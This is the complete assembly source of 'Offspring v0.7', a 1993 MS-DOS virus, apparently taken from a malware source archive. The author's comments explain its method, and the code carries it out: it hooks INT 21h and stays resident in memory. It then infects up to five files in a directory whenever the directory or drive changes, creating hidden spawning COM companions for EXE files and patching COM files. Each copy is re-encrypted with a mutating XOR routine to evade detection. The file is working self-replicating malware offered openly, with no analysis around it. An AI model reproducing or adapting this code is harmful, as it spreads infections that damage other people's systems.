MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.offspr07.asm
2021-01-12 17:52:14 -06:00

715 lines
16 KiB
NASM

;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START